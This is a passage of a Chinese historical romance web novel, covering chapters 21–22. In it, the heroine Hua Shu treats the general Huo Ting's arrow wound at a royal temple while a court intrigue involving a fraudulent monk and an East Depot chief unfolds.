忽见他慢条斯理放下玉箸,然后,话茬就莫名地转到了她身上,“若你晚间需要单独回府,我可另派人护你周全。” 却不待华姝感谢这番善解人意,老夫人的火气再度被拱起:“你哪里能如此纵她?合该早些回来,好生休息。” “嗯,母亲所言极是。” 孝顺的镇南王爷,未有丝毫反驳。 一来二去,不可晚归之事,就这么被敲定。 当事人华姝,自始至终未来得及发表一句意见。 她窦疑丛生,后知后觉想起件事,抬眼探究地看向对面。 她晚归一事,又是哪位仁兄向老夫人告状的呢? 20-30 第21章 相拥而吻 “老大呢, 在书房?” 萧成忽然冒雨前来,闪身跃入清枫斋的庭院中。 半夏认得他,回春堂第一个让华姝看诊的刀疤壮汉,但还是被他大次咧咧的举动吓得不轻。 萧成有任务在身, 倒是没留意到她, 径直要往书房里走。 长缨赶忙拦住, 低声:“华姑娘在书房。” “两人和好啦?”萧成大喜:“那简直不要太美!我再也不用被老大拉着练剑,可算解脱了。” 长缨不解瞧他, “华姑娘只是来给王爷看伤,顺便讨一封拜帖。” “看、看大腿那伤啊?”萧成的脸色忽地意味深长。 注意到半夏的存在,他拉着长缨走远两步,蛐蛐道:“傻小子,这你就不懂了吧,赶紧走远点吧。” “老大行动够迅猛的啊,俩人大白日在书房就……” “萧将军,您可小点声。”长缨打断他:“小心被王爷听见,等会吃军棍。” “唉, 好像是这个理儿。”萧成挠挠头, “你别说出去, 我出去绕一圈,就假装刚刚没来过。” 说罢, 灵活微湿的高大身躯, 如泥鳅似的, 呲溜一下溜走了。 长缨:“……” 萧成没在, 刚刚那这话,岂不是就变成他说的了??? 长缨气得啐一口,王爷说得真没错, 这萧将军果然最不要脸的,搞不定就开溜! * 书房内,狭窄的方寸之地,飘散在半空的气息,旖旎阵阵。 霍霆俯身凑来唇边的刹那,男性气息一并聚拢而下,华姝心弦一紧,呆滞了片刻。 多亏萧成那一嗓子,惊醒梦中人,她慌忙抬手遮挡在中间。 男人灼热的吻,烙印在她手心。 亦是惹得细腻的肌肤,娇颤连连。 他顿住动作,掀起眼皮,无言询问。 不怒自威的气场,连带凤眸的滚滚欲色,皆是十足压迫。 华姝脸蛋红透个遍,烧得喉头干涩。 唇瓣连带着手掌,尚被他压得严丝合缝,无法张口解释。 身子试着往后仰,却被霍霆强势扣住后脑,不准。 两额相抵,手心贴上他鼻头,发烫的鼻息,接连喷洒过来。 烫得华姝,呼吸紊乱,时快时慢。 这次,换她投去不解的目光,无言询问。 又要她解释,又不准她开口,他到底意欲何为? 可两人离得太近了,还不待她酝酿起咄咄气势,卷翘长睫先勾住了他的…… 两人呼吸,皆是一紧。 然后好似天雷勾动了地火,男人眼中的欲色,愈加烈焰熊熊。 他挪开她的手,反剪到背后,捏起她尖尖下巴,再度倾身覆了过来—— “王爷!” 终于等到开口的机会,华姝颤声恳求:“今日是华姝有失分寸,甘愿受王爷责罚。只是那晚所言,我心意不变。” 不论她因何来此,事已至此,她唯求说个明明白白,自此一别两宽。 一段冗长的无声对峙。 原本旖旎的气氛,渐渐冷凝下来。 “没有下一次。” 霍霆如她所愿,松开手,背身走到后窗前。 冷凉的雨丝,被秋风吹斜入窗,进一步浇灭他体内的燥热。 华姝也下意识后撤,莲步匆匆行至门边,提着的心才稍稍放平。 转而记起忘带给皇龙寺的拜帖,不得不顿足,重新坠坠不安地折返书案前。 诚幸,大丈夫说话算话,这次当真没再出言为难。 路过地上那张银票,脚步微有犹豫。想还给他,又不敢再提。她缓缓弯下腰,捡了起来。 窸窣的纸张声传到窗边,老夫人那句“姝儿消瘦”的关切也一并响在耳边,霍霆默了默,“放桌上。” 华姝欣喜照做,连日的不安被抚平。 再度停在书房门口时,她朝霍霆所在方向盈盈一拜:“王爷教诲,华姝定当谨记。也愿您早日康复,余生平安喜乐。” 她本还想说,此次皇龙寺之行,会为他诵经祈福。 话到嘴边,又蓦地咬住。 若霍千羽等人如此敬重四叔,不会惹人非议。而她与他,再也回不去单纯的叔侄关系。 此情此景,华姝甚至第一次动了念头,搬回被大火残败的华府,独身而居。 可她实在不知,该以什么样的理由,说服养她多年的老夫人。 * 红枫叶,秋时雨,一叶叶,一声声,空阶滴到夜。 华姝走后,霍霆独自在书房平息片刻,见雨势渐灭,天色欲晚,准长缨进门,点亮一室秋灯。 另一名亲卫濯缨,也从暗处现身,得召走进来。 霍霆面色已有缓和,正襟危坐在书案后,“可瞧清楚了?” 濯缨点头。 此人乃霍霆的所有亲卫中,性情最冷,口风最严,武功也最为精深的。 是以他在院中隐身一下午,别说华姝主仆,就是萧成都无法察觉。 “皇龙寺之行,不准有半分差池。”霍霆沉声勒令。 华姝猜对一半,今日是霍霆有意引她来此,让濯缨认清她长相。唯恐单看画像,不够印象深刻。 皇龙寺作为皇家寺院,常年有士兵看守,亦有其他世家女眷相继前往,大的隐患倒不至于。 唯一不妥,就是华姝与圆妙大师的见面。 若得知她是华家孤女,圆妙是否会再起杀机? 霍霆近日再三思忖,要不要叫停这一趟皇龙寺之行。 但这般巧合,保不准是幕后之人对他的试探,不宜打草惊蛇。也不想过早言明,让华姝卷入其中,惶惶终日。 且这都是他的凭空揣测,万一圆妙真能医好霍千羽的腿疾呢? 思来想去,霍霆安排濯缨这个生面孔,混入霍家的护院中一同前往皇龙寺,暗中跟着华姝。 “属下领命!” 濯缨令行禁止,退出书房去做准备。 不久,萧成磨磨蹭蹭走进来,东瞧西看,嬉皮笑脸:“老大,嫂子走啦?” 这可谓是哪壶不开提哪壶。 霍霆眉峰蹙动:“哪那么多废话?” 萧成瞬变正色:“经查实,冯紫山祖上世代在太医院任职,但从他祖父起开始落魄。” “他早年医术并不出挑,忽然改名换姓到皇龙寺,成了神医圆妙大师,行迹着实可疑。” “但到皇龙寺求医的病患,经他的药方,的确又能药到病除。不过这人似又不喜神医的名头,常年云游在外,像在躲着谁。” 闻言,霍霆凤眸微眯:“将此人给我挖地三尺挖出来!” “得令!” 萧成摩拳擦掌,兴奋问道:“老大,我们什么上山?” 霍霆瞥他一眼:“不是我们,是我。” 准备向佛祖也讨个媳妇的萧成:“……” * 九月初八,皇龙山的山巅。 脱下绛紫飞鱼服的裴夙,着一袭玄带广袖的大红华服,于猎猎山风中,肆意飞舞。 他站在悬崖边,举目远眺,脚下是一片钟灵毓秀的盛景。虽近深秋,山谷依旧郁郁葱葱。 “启禀督主,霍家的一应女眷,已入住寺庙的后院禅房。” 容城走到他身后,恭声禀告。 裴夙闻声回头,一双月亮眼笑弯弯的:“瞧见小姝了吗?” 他抬起手,在身上比划一遭:“上次见,她只到我胸口。女大十八变,她如今约莫又长高些。” 瞧着他深达眼底的笑容,容城神色复杂:“属下远远望着,华姑娘似是高挑些许。” 裴夙读懂他的言外之意:“高了,也瘦了。” 容城无言点头。 “宋煜那个孽畜,被他爹弄出大牢了?” 裴夙依旧在笑,沐如春风,轻描淡写道:“他既那么喜欢祸害女人,咱东厂得为民除害啊。砸碎那他腌臜物件,一了百了。” 这是裴夙能想到的,华姝自打从回春堂回到霍家后,唯一会让她消瘦的理由。 “但宋尚书那边,肯定会追查到底。”容城为难。 “小姝如今住在霍家,这笔账,自然算在霍霆头上啊。”裴夙笑眯眯问:“霍霆如今人在何处?” “镇南王下朝后,就去城北大营了,不曾跟来皇龙寺。” “这人有趣。” 月牙弯弯的眼眸,如秋叶静美,却也暗藏着冷冽的刀锋,随时能割破这涯边的空气。 * 华姝等人,于晌午后抵达皇龙寺。 圆妙大师难得云游归来,慕名而来的医患颇多,日程已排到三日后。 好些人因此下山,但霍千羽的腿疾对大夫人实乃重中之重。众人商议后,派小厮回府禀告,决意暂宿寺院。 住持方丈得知她们乃镇南王府之人,特安排一座幽静的小院,古朴青松参天,盈盈檀香随处飘散。 众人安置好后,结伴前往前院,诵经、拜佛、添置香油钱。 数间佛堂内,香客络绎不绝: “据说,因为圆妙大师的归来,这几日香火格外旺盛,许愿肯定愈加灵验!” “那我再给我家郎君也拜一拜,祝他官运亨通……” 闻言,大夫人和二夫人又结伴去为自家郎君祈福,写平安帖。阮糖也为霍三爷写了平安帖,放入门前香火熊熊的香炉内。 华姝静候一旁,莫名想起那人。 霍家四个爷们,只他未娶妻。虽说平日大家都敬着他,大事上也同心协力,可真到细节小事时,女眷最先想到的还是自家郎君。 她们拿他的拜帖前来,唯独他没人帮写平安帖。 华姝有心上前,又迟疑顿足。 不,她不该再过分关注他。 “这皇龙山的景色果然极美,百闻不如一见。”二夫人提议:“大嫂,咱且去四处转转?” 大夫人笑着应下。 华姝推着霍千羽,习惯性跟在最后。 “姝儿,你说巧不巧?”瞧着陪在大夫人身侧的阮糖,霍千羽低声:“沈青禾刚走,阮糖的病就好了。” 当初,阮糖和沈青禾都为着王妃之位,来霍家借住。待见霍霆“瘫痪”后,沈青禾将目光投向霍玄,阮糖则称病不出。 直到前日沈青禾离开霍家。 “沈姑娘走了?”华姝近日没心思关注此事。 霍千羽:“听说她父亲触怒龙颜,被贬去山西上任,然后她们全家一起去历劫了……” 后面的话,华姝没再听。 忆起那晚在千竹堂喝热粥时,霍霆与老夫人提及“都察院”、“言官”等只言片语。 而她印象中,沈父之前就在都察院任职。 再联想霍霆请来戏班子表演“孔融让梨”的旧事,霍华羽与霍千羽在药田争执时,沈青禾也有掺和。 莫非…… 华姝随即摇头,否决这一猜测。 应是她想多了。 霍霆虽大权在握,但为人忠正不阿,景行行止,怎会为这等儿女情长小事而以权谋私? 虽如此想,可她望向佛堂门前那一尊燃烧平安帖的香炉,不免一步三回头。 旺盛的香火中,仿佛映照出一张征战厮杀的刚逸脸庞。 他是为了天下万民,不惜连年深陷战火,濒临而立之年,尚未娶妻。 华姝搓搓手指,还是找个借口,单独折返。 她想,这一刻自己只是个普通百姓,为大昭战神在未来的战场上祈求一道平安,也是为自己和大昭万民祈求一道平安。 濯缨抱剑潜伏暗处,看着她去而复返,不明所以。 直到她边写平安帖,边小声念叨:“佛祖在上,信女华姝诚心请愿,愿镇南王爷霍霆,早日恢复康健,早日娶妻成家……” 濯缨面无表情地想,王爷命他上报华姑娘之事。 那这祈福之语,要不要汇报? 说了应该也没关系,毕竟都是祝福之语。 结果,又听见:“也希望他,早日放下我们的关系。” 濯缨:? * 天黑后,霍霆主仆低调上山,安置在霍家女眷的隔壁禅院。 这会,华姝已熄灯歇下。濯缨听到隔壁“咕咕”的暗号,翻墙一跳而下。 霍霆换好夜行衣,“位置可打探清楚?” “回王爷,圆妙的禅院在寺院最东边,由四个沙弥伺候。”濯缨道:“其中三人略通医术,一人看着身形是个练家子。” 霍霆戴上黑色面巾,“随本王去瞧瞧。” 去瞧瞧是那沙弥恰巧会武,还是圆妙大师亏心事做尽、有意提防会遭人灭口。 是夜,星光稀疏,整个大地似乎都沉睡过去。三道黑影,无声跃上东南角的禅院屋顶。 主屋和东厢房皆已睡下,西厢房会武的沙弥还在打坐守夜,门前两盏灯笼风中摇摆。 经霍霆示意,长缨轻手轻脚飞过去,先后将迷香从瓦片渗进西、东厢房和主屋。 如今掌握的线索有限,他们还不宜打草惊蛇。 须臾后,由濯缨望风,霍霆两人闪身进入主屋,确定圆妙大师在床上睡得昏沉,开始查找线索。 查找半晌,并不见为非作歹的密信。 但霍霆有意外收获。 他略略阅览一本摊在香案上的医书,瞧着熟悉的笔迹,凤眼微眯—— 这医书,乃华姝之父亲手所写! 虽已有数年阴阳两隔,但华兄长的笔迹,他不会认错。 霍霆皱眉,华兄长的医书怎会在圆妙大师的手上? 当年这两人也曾是故交,许是友人间的赠与。为谨慎行事,霍霆翻看了其他医书。 不看不知道,十几本摊开的医书中,一半都出自华姝父亲之手! 长缨从香案上捡起两张刚写完的药方,震惊了,全是照搬的那医书。 他呈递给霍霆,悄声:“这圆妙不会是个半吊子吧,这些年就靠着华太医的医书,到处坑蒙拐骗?” 若真是神医,至于每日将所有医书都摊开来,反复翻看吗? 瞧着床上之人,霍霆凤眼微眯。 常年外出云游,原来不是在躲避仇杀,而是怕看诊太多会露馅。 莫非就为着几本医书,他就不惜背叛故交,甚至累及华家满门性命? “王爷,您要不要将这医书拿与华姑娘?”长缨心道,没准华姑娘一高兴,就跟您和好了呀。 霍霆一记冷眼射来。 长缨顿时赔笑:“不可打草惊蛇,不可……” “谁!” 突然,屋外传来濯缨一声低喝。 霍霆两人闻讯赶出去,只见僻静的小院内,一群黑衣人如鬼魅现身,手上尖刀冷芒森森。 他们迅速将主仆三人包围,刀光剑影,顿时划破夜空。 双方势均力敌,打得难分难舍。 忽然这时,霍霆只觉大腿旧伤处,传来钻心的蚀骨之痛,身形不由得踉跄一步,迟缓下来。 而不远处的树梢上,另一道欣长身影逆风而立,瞅准机会,拉满长弓。 他将箭头瞄准霍霆三人。 昏沉月光下,那双月亮眼看似露出一抹仁慈的微笑,倏地松开三根箭矢—— “刺啦!” 有一人躲闪不及,箭头闷声嵌入皮肉,血腥味霎时弥散开来。 * 夜半三更,华姝被头顶一连串的敲窗声惊醒,吓得猛然坐起。 “……长缨侍卫?” 听清来人声音,华姝预感不妙:“你随王爷上山了?王爷可是出了事?” 否则她想不到还有何事,能让长缨不顾一切,半夜来紧急敲她窗。 “姑娘猜得不错,王爷中箭了!”长缨焦灼道:“您可否过去瞧瞧?” 华姝忙不迭起身穿戴。 可动作到一半,想到前两次的尴尬,又面露难色:“你不若去请圆妙大师来瞧瞧,他的医术远在我之上。以王爷的身份,圆妙大师定不会推辞。” 听到那医术混子,长缨气就不打一处来。可没王爷吩咐,他得管住嘴:“王爷的伤势是军事机密,不宜透露给外人。” “王爷不为寻医,缘何还要上山?” “为了保护您。” 半夏刚好点燃了屋内的烛台,灯花骤然“噼啪”一声。 短暂沉静。 华姝让半夏到门口望风,自己开始穿戴。 与此同时,长缨隔窗简言:“宋煜从牢里放出来了,王爷不放心您,但这事又不能告知大夫人她们。” 为顺利将人请去救急,他咬咬牙,进一步道出实情:“其实上次在周家,出手射飞镖救您的,也是王爷。” 华姝系盘扣的指尖一顿。 山中时,她见识过霍霆射暗器的厉害。其实那日在周家,她瞧着那飞镖的手法就隐有猜测,又觉得自己不值得他丢下兵部侍郎孙大人、亲自走一趟。 至于将宋煜送进牢房之事,他更从未提过一句。 “稍等片刻,我这就跟你过去。”华姝低头继续系衣襟上的盘扣,没再多问。 其实她明白,宋家人没胆量也没本事伤了霍霆,他此行上山肯定还另有要务。就像中毒一般,皆是军中机密。 但看在他默默为她做了这么多的份上,且她身为大夫,救死扶伤本是天职。 华姝简单穿好外裳,让半夏留下作掩护,她自己跟随长缨摸黑出门。 路上,向长缨问清霍霆的伤势:“王爷伤在左肩,未中要害。但那箭头带着倒钩,难以拔除,流血不止。” 她思及山中惊险,“箭头可有涂毒?” 长缨:“没有。” 华姝听后松口气,随他来到隔壁院。一进禅房,就能闻到浓郁的血腥味。 霍霆坐在方桌前,赤坦着精壮上身,正用淬火的匕首,试图自行剜出伤口里的箭头。 他紧紧咬块白帕子,额头噙满汗珠,太阳穴青筋暴起,却未吭一声。 而他手边,连一瓶止疼药、甚至金疮药都没有。 这是要硬扛? 华姝瞧见这一幕,倒吸口凉气,不知该敬佩还是指责他对自己的狠绝。 那可是带倒钩的箭头啊,若是自己硬拔出来,得平白地再勾出来一大片血肉啊! “既唤了我过来,您就不能再多等一会?” 她轻轻斥责一句,匆忙拦下他的动作。 庆幸此行有意向圆妙大师请教医术,随身带有药箱。她随即从药箱中,熟练取出药罐和工具。 霍霆之所以停下动作,是意外于华姝的出现。 他转头冷眼瞧向长缨,不怒自威。 长缨慌忙跪地:“是属下擅作主张,还望王爷恕罪。可您是为了救属下受伤,身边又无包扎的药物,长缨实在不忍。” 华姝愕然停手,眼尾微赧。 原来如此。 不愧是沙场将军,这般重伤,仍是固守承诺,一言九鼎。 而她的出现,也未曾再牵动他太多情绪,仅是淡淡的疏离:“一点小伤,不碍事。表姑娘早些回去歇着吧。” 长缨心疼:“可是,王爷……” “长缨。” 霍霆沉声打断他:“送表姑娘回去。” 长缨不敢违抗命令,可看向华姝的眼神,充满乞求。 她于心不忍,尤其瞧见霍霆血淋淋的左肩,还有他胸膛因多年征战而落下的大小旧伤。 再思及宋煜之事,于情于理,她都不能忘恩负义离开。 华姝尽量避开两人的关系,劝道:“医治仁心,今日换作长缨,我也不会坐视不管的。” 长缨却是吓得一哆嗦。 华姑娘,您可不能害我啊! 属下不配! 他小心翼翼去瞧霍霆的脸色,反应不大,只面无表情地瞧着华姝。 可华姝被瞧得莫名心虚,小声补充道:“更何况,今日若在府中,祖母也定会命我前来。” 受先前某人告状的启发,她也学会搬出老夫人来压人了。 果然,霍霆眸色微动,“今晚之事,不准同你祖母提一个字。” 华姝压住嘴角,不敢笑。 这番威胁之语,还不如刚刚的淡漠,更为震慑。 她乖乖点头,再去拿他手中的匕首时,没了阻力。 * 同一个时辰,隔壁的禅院内,有人亦是长夜半醒。 主屋左右两间房,留给大夫人和二夫人。东侧厢房两间屋子偏小,分别住霍千羽和华姝。西边则是霍华羽和阮糖。 阮糖的屋子,与华姝的相对。 恰是她丫鬟出去起夜,路上撞见一道熟悉的身影,赶忙回来禀告:“小姐,奴婢瞧见华姑娘半夜跟一个男人走了。” 阮糖讶异:“可瞧清那人长相?” 丫鬟摇头,“但奴婢保证,他们这会就在隔壁。小姐,咱现在要不要去禀告二夫人呐?” * 弥漫血腥气的禅房,霍霆从新咬住帕子,华姝开始专心分离箭头,止血包扎。 带钩的箭头,牢牢深陷在伤口里。稍一牵动,便会裹挟起大片的鲜血皮肉,尤其刁钻。 短短一炷香的功夫,两人脸上都汗涔涔的。 一个是疼的,一个是累的。 好在血已止住,两人皆是如释重负。 夜色静谧的禅房内,霍霆垂眼瞧向身前的少女,目光落在她雪腮旁被汗水打湿的碎发,不自觉掏出随身的干帕子。 右手抬到半空,想到什么,又无声放回去。 “您是想擦汗吗?” 华姝这会集中精神医治,无意识将霍霆当成普通病患。先一步接过帕子,抽空为他擦拭掉脸上已淌成线的汗珠。 素帕抚上眉骨时,忽地撞进男人意味深长的黑眸。 她目光一滞,脸颊微热,慌乱放回帕子,加快包扎。 心思一乱,很多想入非非开始相继钻入脑海。 刚刚信誓旦旦的医者仁心,在她小手指不经意划擦到他硬邦邦的腱子肉时,结被脸颊上哄起的热度,炙烤得不复存在。 缠绕纱布的动作,没了最初的流利。 霍霆都看得分明,瞥了眼旁边。 长缨识趣上前:“华姑娘,属下来吧。” 华姝利落放手,转身拿起箭头,细致观察:“这箭头带铁锈,只怕伤口感染,会起高热。” 她向霍霆请示道:“可我没带来降温的草药。若去圆妙大师那借些,可会节外生枝?” 霍霆暗叹她的机敏过人,“长缨。” 长缨点头:“属下有法子。姑娘写下药方便是,我会按名字去他药柜里取来。” 很快,长缨拿上药方出门。 恰是负责追踪黑衣人的濯缨,这时翻身跃进小院,径直要往禅房里去。 长缨拉住他,“华姑娘在里边。” 濯缨:“王爷交代,回来要立刻向他禀报此事。” “那你快进去吧。”长缨幸灾乐祸:“如果不怕讨人嫌的话。” 濯缨:“……” 屋内,毫不知情的华姝,自然不好单独丢下一个病患,尤其还可能随时发高热。 她就趁这功夫,先用屋内的地炉烧壶热水,等会煮药用。顺便清理地上的血迹。 霍霆靠在床上,静静瞧着这个勤快细心的姑娘,转而克制地阖上眼。 既答应放手,就不该再让她无端地沾染忧惧。 然而,他闭上眼后,耳朵的倾听被悄然放大。 窸窸窣窣的忙活声,跟在山中茅草屋时,近乎重叠。 原来那会,是这样一幅温馨的画卷…… “王爷?王爷!” 华姝收拾好屋子,转身看过去,注意到霍霆已渐有昏沉,眉头紧锁,脸上不同寻常的红晕。 她试着摸下他额头,指尖微抖。 好烫,果然发高热了。 可门外茫茫夜色,仍不见长缨的身影。 华姝回过身,当机决断:“我扶您躺下,先用凉帕子冷敷会。” 霍霆闻声,缓慢睁开沉重的眼皮。 他这会大脑晕眩,反应较平常迟钝些。 按理说,此刻该是他警惕性最强之时。但看清眼前秀气的少女后,霍霆旋而放下一切戒备,安心地任由那双小手在他身上施为。 华姝拧了两张湿帕子,交替敷在他额头上,并反复擦拭他的掌心。 小小玉手相较于麦色大掌,足足窄上两圈。 力道轻柔,纤巧灵活,可谓妙手回春。 不消片刻,躺在床上的男人,似乎就缓过了劲来。 又好像还在晃神。 他忽地握住她纤细皓腕,勉强撑着眼皮,视线专注而执着,“还记得上次去寺庙,你说的话吗?” 华姝心跳乱了一拍。 卷翘长睫呆滞,又迟钝地眨了眨。 无言暴露了心思。 她记得。 那些刻意埋进心底的露骨之语,她其实都还记得起。 记得那是在广连山顶的寺庙,她出逃前一夜,为让他放松警惕,说了些暧昧的谎话—— 作者有话说:晚点还有一更,抽20个红包[撒花] 第22章 夜夜暖床榻 那会在山中, 两人已待近一月。 霍霆的眼睛,有明显好转迹象,未完全复明,可见一些模糊光影。 华姝当时的心情, 倍感煎熬。 从医者角度, 十分欢喜病患的病情好转。但若这“山匪头子”彻底复明, 她便再也逃不掉了。 出逃前一晚,昏暗的茅草屋内, 他如往常一般盘腿坐在炕头,阖眼打坐。 华姝知道他是在想事情,据多日观察,每次他打坐完,就会将手下召进来商议事情许久。 偶尔能听见“动刀”、“宰了他”、“血债血偿”等只言片语。 吓得她平时都乖乖地坐在一旁,安静做些针线活,不敢去搅扰。 她本就不爱黏人,尤其还面对一个眉骨有疤的凶狠“山匪”。 但那晚,出逃迫在眉睫, 她仓促缝完黑靴的最后几针, 有些跳线也没顾得上改, 心想他反正也看不见。 然后大着胆子上前,小声询问:“鞋子做好了, 您要试穿吗?” 霍霆没睁眼, 倒也有问有答:“明日再试。” 华姝抿唇, 她是要借着鞋子拉近关系, 进而提及去寺庙之事,而白日的男人自然不如夜里好说话。 她搓了搓指腹,大着胆子牵起他衣袖摇了摇, 柔声细语:“现在就试试嘛,不合适的话,我等会就拆了再改。” 霍霆睁眼“看”过来。 一语点破:“何事?” 华姝心虚地眨了眨眼。 她不爱黏人,更鲜少同他撒娇。第一次是为央求他去果园走走,探查周边地形。 隔了五六日,又提出想和他学飞镖,以免逃跑途中被追上时束手无策。 这一次又隔了近十日,是想哄他去山顶的寺庙。她熟悉那里地形,也能用人群打掩护。 “我看这几日天气好,想着去寺庙走走,让佛祖保佑你眼睛早些好起来。”华姝温吞说道。 到了霍霆这般高位,命运大多掌握在自己手中,早已不信鬼神之说,“这里离寺庙不远,佛祖也能听到你的心愿。” 这就是不让去的意思了。 华姝有点失望,但没气馁。 她拿起黑靴主动为他试穿,然后按捺着“咚咚”的擂鼓心跳,顺势挪坐在他腿上。 细滑的脸蛋蹭着那炙硬的胸膛,耳尖泛红:“拜佛讲究心诚,离这么近都不过去,佛祖会不欢喜的。” 夜深人静,姑娘家气吐如兰。 馨香萦绕入鼻,清淡澄澈,漾开阵阵涟漪。 男人的呼吸渐渐粗重。 几息后,粗粝大掌箍住她腰肢,“又来招我,嗯?” 华姝瞬时不敢再乱动。 男人的□□真燃烧起来,不是她能招架的。 这具身子已数次沾染了波澜起伏的记忆,四肢更是本能地发软。 可留给她逃跑的时间,不多了。 少女眼波微转,两条细嫩的藕臂慢慢环上他精壮的腰身,耳朵红得越发厉害:“我是真心悦您,想与您能长久地日子美满。” “为您日日缝衣,做饭。” “夜夜暖床榻……唔!” 话音未落,樱唇已被堵住。 紧接着地转天旋,娇躯深陷进床褥,覆上来的强健身躯滚烫而沉重,似一座大山,压迫十足。 燃火的粗粝大掌所到之处,都烧得那细腻的肌肤战栗连连。 最终,停在她柔滑的小巧颈窝。 男人情动时,总喜好揉捏那处,细腻的触感,叫人爱不释手。 那也是华姝最敏感的地方,每每这时,他身下花苞一样的青葱少女,反应总是格外强烈。 偏她又害羞,总是咬紧唇瓣,不肯溢出一丝气声。 然而这晚,某个姑娘有求于人。 男人顿住动作,咬上那红得滴血的耳垂,哑声诘问:“还想不想去寺庙?” 怎么还趁人之危呀? 一句话,轻飘飘地捏住她七寸,思想斗争良久,娇羞地松开下唇…… 于是那一夜,似有夜莺轻啼,婉转动人。 惹得山风的气息,都变得粗喘沉重。 微有漏风的茅草屋,罕见地热气喷涌,宛若蒸笼一般,把人蒸作缱绻的红虾。 屋外墙角下的小草,羞答答将头弯了下去。天边月儿,也躲进云层里,半晌不肯出来。 可饶是如此,霍霆再最后一步,还是压抑着停下动作。 华姝那时始终想不通,他又不是不能人道,为何要薄待自己。 直到后来归家,完好无损的守宫砂,保住她最后一丝颜面。 直到得知他身份,是那位为了大昭疆土多年不曾娶妻、受万人敬仰的大昭战神。 直到从萧成口中,得知他原想等眼疾痊愈,下山陪她到府上提亲…… * 禅房内,华姝从旖旎的回忆中拉回思绪,就对上霍霆的目光。 许是高热的缘故,一向威严的凤眼有点复杂,一瞬不瞬凝着她。 分不清有几分责问,几分缱绻,几分黯然神伤。 华姝瞧得心慌意乱,下意识想抽回手腕,逃离这里。 可霍霆没松手。 粗粝大掌烙贴着她的肌肤,烫得华姝的心跳一晃就乱了,像揣着一只惊慌失措的小兔。 “王爷,您答应过我不再提的。” 软软的语声里,流淌出几丝哀戚。 “那日是华姝作了无耻小人,所言所诺,只为逃生,皆非本愿。诸多搅扰您清休静养,还望王爷恕罪。” 华姝敛下长睫,目光触碰到两人相交的手,又烫得挪开眼,偏头看向别处。 每个抵触的小动作,无一不落在霍霆的眼中。 他目光闪烁几瞬,理智回笼,缓缓松开了手。 华姝旋而站起来,背过身,咬了咬唇瓣:“我出去看看长缨回来了没。” 随后只身走入茫茫夜色,任由萧萧长风,洞穿她单薄的衣衫。 适才唯恐霍霆会失血过多,她没顾得穿中层的薄夹袄,就匆匆赶了过来。 这会,整个人从头冷到脚。 屋内,亦是冷清下来。 霍霆抬手按了按太阳穴,暗嘲自己大脑一昏沉,再度有失分寸。 “王爷,属下能进去了吗?”濯缨终于等到华姝出门,飞上屋顶,掀开瓦片,一本正经请示。 霍霆冷冷瞥他一眼:“下来。” “是!”濯缨闪身进屋。 “按您吩咐,属下将那帮黑衣人一路引向山门守卫之地。待他们察觉我的意图后,有意反向引导往后山方向去。” “属下对后山地势不熟,没敢冒然前往。”濯缨跪地请罪:“还望王爷责罚。” 霍霆摆手,“见机行事,你做得没错。” 濯缨谢恩起身,“后山乃是皇家猎场,莫非此次是皇室中人?” 霍霆揉捏着酸胀欲裂的眉心,迟缓地分析道:“只能说明,这伙人以前来过猎场。” “皇上真要对我动手,怎会选在自家的地界?” 皇龙山人杰地灵,是当年大昭的开国皇帝,与前朝两军对垒、最后绝地反击之地。 开国皇帝觉得此地福泽绵长,能庇佑族人血脉,故而开辟出一片平坦,后山作猎场,前山修建皇龙寺,年年为皇室诵经积福。 霍霆手指微顿,“你去排查下,昨日都有哪些朝臣家眷留宿寺院。” “属下这就去。” 濯缨说完就往外走,又忽然被召回:“待圆妙之事查清,你且将他的医书,完整带回霍府。” 正巧长缨折返回来,上前为霍霆换了凉帕子。 瞧瞧,他就说嘛,可以用这医书哄华姑娘开心。 怎料,“这些都是证据,属下定会完好无损保留下来。”濯缨再度一本正经道。 长缨:“……”兄弟,你没救了! * 皇龙寺的西北角,靠近后山的禅院内,亦是灯火未尽。 裴夙坐在桌前,容城也在为他包扎左臂的擦伤。 刚刚在围堵三个黑衣人时,为首之人随身中一箭,还是迅速朝裴夙藏身的树梢,提剑劈了过来。武功之精湛,不可小觑。 这时,为首的锦衣卫,着一袭夜行衣进来告罪:“属下无能,没能将那人捉拿回来,还望督主责罚。” 裴夙笑吟吟抿了口茶水,右手的茶杯猝然尽碎,“那你还回来作甚?” 锦衣卫吓得浑身抽搐,竭力挽救性命:“启禀督主,但属下带回来其他有用的消息了。” “今晚守山门侍卫是属下的旧友,据他说,镇南王天黑后上山,说是为找圆妙大师看病,只带长缨一个亲卫低调出行。” “但刚刚垫后的黑衣人,武功极高,身法瞧着颇为眼生,绝对不是长缨。” “故而,今晚的黑衣人极有可能不是镇南王。”锦衣卫哐哐地磕头:“属下等定会再去仔细探查,还往督主饶命啊。” 包扎完毕,由容城伺候着穿好大红外披,裴夙缓缓摸索着左腕上的白檀佛珠,若有所思。 锦衣卫战战兢兢跪在那,宛若被吊在油锅上烤,拼命用眼神朝容城求救。 容城想了想:“如此可等后日瞧瞧,这圆妙给镇南王的诊脉结果。有无受伤,一瞧便知。” 裴夙嗤笑一声,开恩摆手,将那锦衣卫打发走:“蠢东西,去查查霍府的那群护院。你们几个能伪装身份混进来,那人就不能?” “是是是,属下这就查,连夜去查。” 锦衣卫如蒙大赦,连滚带爬逃出去。 屋内,裴夙掀起眼皮,反问容城:“你要是镇南王,受伤后可会坐以待毙,等着被大夫诊出端倪?” “属下愚钝,还请督主明示。” “若那黑衣人当真是镇南王,受了伤却不能声张,会找谁去医治?” “……是华姑娘!” 裴夙颔首:“咱也去寻小姝,明日正是个见面的好时候。” 他仿佛是位温良的君子,却在微微扬起的嘴角隐藏着一抹狡黠,看得容城不寒而栗。 * 月上中空,树影婆娑,夜风轻拂而过,金黄银杏树随风摇曳。 等到长缨带着药材回来,华姝稍作检查,见药材种类没问题,就欲告辞回房。 她有点害怕再进屋,只站在门口,轻声请长缨代为通禀。 长缨回身,小心观察自家王爷的反应,阖眼假寐,没有点头,那就是不想让人走的意思了。 可人家表姑娘明显不愿多留,长缨夹在中间,可谓左右为难。 他绞尽脑汁思考,忽然灵机一动。 侧身挡住华姝的视线,将原本按包做好标记的药材,“啪嗒”全摔在地上,混做一团。 “哎呀!药材都混在一块了,这可如何是好?” “华姑娘,还得请您帮我分辩出来,才好用您那小银秤称重。” “要不然药量用错,可会危及王爷的性命啊!” 长缨佯作抓耳挠腮,眼神百般焦急,万分讨好地眼巴巴盯着华姝。 华姝瞧着那满地的狼藉,无奈叹气:“你……”怎么这么笨? 霍霆的性命攸关整个霍家,乃至整个大昭,自是儿戏不得。 她再有顾虑,最终还是轻手轻脚走进去。 